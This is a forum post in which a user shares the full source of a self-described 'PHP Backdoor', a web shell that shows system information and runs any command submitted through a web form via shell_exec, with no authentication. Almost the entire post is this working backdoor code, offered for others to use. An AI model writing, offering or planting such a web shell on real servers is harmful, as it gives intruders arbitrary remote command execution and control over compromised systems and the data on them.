Search the Community
Showing results for tags 'reverse-shell'.
-
Hey Guys! Wassup! Hope you all are doing fine! So here Venom again! So today here I am going to share the code for small PHP shell which I have developed recently! <?php $uname = shell_exec("uname -a"); // GETTING CURRENT UNIX NAME USING SHELL_EXEC FUNCTION IN PHP echo "<div class='uname'><center> $uname </center></div>"; // PRINTING THE UNAME $cwd = getcwd(); // GETTING THE CURRENT WORKING DIRECTORY USING GETCWD FUNCTION IN PHP echo "<div class='uname'><center>Current working directory: ".$cwd."</center></div>"; // PRINTING THE CWD ?> // SIMPLE HTML CODE FOR TAKING INPUT AND SHOWING OUTPUT <html> <head> <title>Venom PHP Backdoor</title> <style> @import url('https://fonts.googleapis.com/css2?family=Shippori+Antique&family=Ubuntu&display=swap'); * { margin: 0; padding: 0; } body { background-color: black; color: #33FF3E; } .uname { font-size: 20px; padding-top: 20px; font-family: 'Shippori Antique', sans-serif; } #keyword { margin-top: 20px; font-size: 40px; border: 2px solid green; border-radius: 9px; } input { background-color: #272927; text-align: center; margin-bottom: 100px; } input::-webkit-input-placeholder { font-size: 20px; text-align: center; padding-bottom: 20px; color: green; } .output { color: green; font-family: 'Ubuntu', sans-serif; font-size: 20px; padding-left: 20px; } </style> </head> <body> <center> <form method="POST"> <input id="keyword" onfocus="this.value=''; this.style.color='#20ED20'" name="command" placeholder="Enter command here..."/> <!-- Taking command in post method with variable name "command" ---> </form> </center> </body> </html> <?php if ($_SERVER['REQUEST_METHOD'] == "POST"){ // IF the user enters and data and makes any post request then $cmd = $_POST['command']; // made a variable name "cmd" from our post request which carry our input as "command" $output = shell_exec($cmd); // Executing the user input with SHELL_EXEC Function! $description = preg_replace("/\r\n|\r|\n/", '<br/>', $output); // replacing the new line characters with <br> echo "<div class='output'>".$description."</div>"; // displaying the output! } ?> Hope you have learnt something new from this! Regards, VenomGrills Developing a custom PHP Backdoor - Backend-Development - Shell_Forum.mp4